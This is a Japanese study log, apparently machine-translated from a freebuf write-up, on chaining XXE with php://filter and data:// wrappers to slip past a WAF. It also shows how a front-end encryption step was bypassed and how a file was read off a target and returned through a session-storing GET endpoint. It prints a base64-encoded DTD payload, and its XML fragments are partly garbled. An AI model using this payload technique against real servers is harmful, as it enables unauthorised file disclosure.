学習ログ9:XXE+php://filterWAFを迂回してイントラネットファイルを読む

2813 ワード

freebufの出典から抜粋:https://www.freebuf.com/vuls/211822.html
基礎知識:1.php://filterphpに独自のプロトコルであり、中間ストリームとして他のストリームを処理することができ、任意のファイルの読み取りを行うことができる.異なるパラメータを使用すると、resource=でフィルタリングするデータストリーム2が指定されている異なる目的と効果を達成できます.phpdata://text/plain;base 64は、その後のデータがbase 64符号化3であることを表すデータストリームカプセル化器である.XXE脆弱性の特殊性のため、HTML、PHPなどのファイルを読み込む際に、このようなエラーparser error:StartTag:invalid element nameが投げ出される可能性があります.その理由は、PHPはラベルベースのスクリプト言語であり、この構文もXMLに合致するため、XMLを解析する際にXMLと誤認され、その内容(例えば特殊文字)が標準XMLと衝突する可能性があるため、エラーが発生したためである.したがって,機密情報を含むPHPなどのソースファイルを読み取るためには,まず競合を引き起こす可能性のあるPHPコードをbase 64符号化することができ,ここではphp://filterなどです.php://filter/read=convert.base64-encode/resource=index.phpはindexを表す.php base 64符号化後読み出し
脆弱性発見プロセス:1.ページにxml呼び出しが存在し、XXEが存在する可能性があることが分かったが、xmlはフロントエンドで暗号化された.2.暗号化されたjs関数を探して、読めないことを発見します.ブラウザを使用してブレークポイントを設定し、xmlの内容を変更してから、関数を実行してxmlを暗号化し続け、迂回を完了します.3.XXE利用コードを構築し、リモートファイルを要求するときにError while parsing XMLをエコーし、localhostファイルを要求するときに正常に戻る(エコーなし)ことは、XXE脆弱性が存在することを示しているが、WAFが存在し、リモートDTDを読み取ることができず、XXXE攻撃で読み取った内容をリモートに出力することもできない.4.クッキー検証を必要とせず、GETパラメータを使用するパスを見つけて、データの変更や追加を行うことができます.http://target/endpoint.php?sid=[session_id]&key=xxxe&val=testは、sid、key、valの3つのパラメータを呼び出し、keyとvalを対応するアカウントセッションに保存し、このパスにアクセスすることで3つのパラメータ値5を取得することができる.以下のpayloadを構築し、送信後に再アクセスhttp://target/endpoint.php?sid=[session_id]keyとvalの値がxxeとtestに変更されたことを発見し、XXEが存在することを再証明したが、リモートDTDにアクセスできない
   
]>
< paramlimits>
< component name="L1" min="2" max="100">& xxe; component>
 paramlimits>

6.ローカルファイルを読み取ることができるかどうか、ファイル内容をパラメータ形式(keyとval)でhttp://target/endpoint.php?sid=[セッションID]にアクセスhttp://target/endpoint.php?sid=[session_id]パラメータ値(keyとval)からファイル内容を取得しますか?7.payload'>の構築
ここでdata利用php://filterとfile://ターゲットマシン上のファイルD:/path/indexを読み込む.php parama 1のexfilはdataの内容をパラメータvalとして送信するhttp://target/endpoint.php?sid=[session_id]の8.以上のpayloadをbasa 64符号化しphp://でカプセル化した結果、以下のようになる.php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgJSBkYXRhIFNZU1RFTSAicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT1maWxlOi8vL0Q6L3BhdGgvaW5kZXgucGhwIj4NCjwhRU5USVRZICUgcGFyYW0xICc8IUVOVElUWSBleGZpbCBTWVNURU0gImh0dHA6Ly90YXJnZXQvZW5kcG9pbnQucGhwP3NpZD1bc2Vzc2lvbl9pZF0mIzM4O2tleT14eGUmIzM4O3ZhbD0lZGF0YTsiPic+ 9.最終XXE payload
   %sp; %param1;
]>
< paramlimits>
  < component name="L1" min="2" max="100">& exfil; component>
 paramlimits>

10.XXE payload送信後再アクセスhttp://target/endpoint.php?sid=[session_id]パラメータvalの値を表示し、ファイルD:/path/indexを得る.phpの内容(base 64符号化後の)
ハイライト:1.ブラウザ設定ブレークポイント:フロントエンドjs暗号化xmlの迂回を完了します.2.クッキー検証を必要とせず、GETパラメータのパスを使用して、特定のデータの変更または追加を実現し、パラメータ値をユーザー・セッションに保存するという特徴を持つキーurlを発見します.これにより,攻撃で得られたデータをこのurlで転送し,同じセッションidでurlに再アクセスしてデータを得ることができる.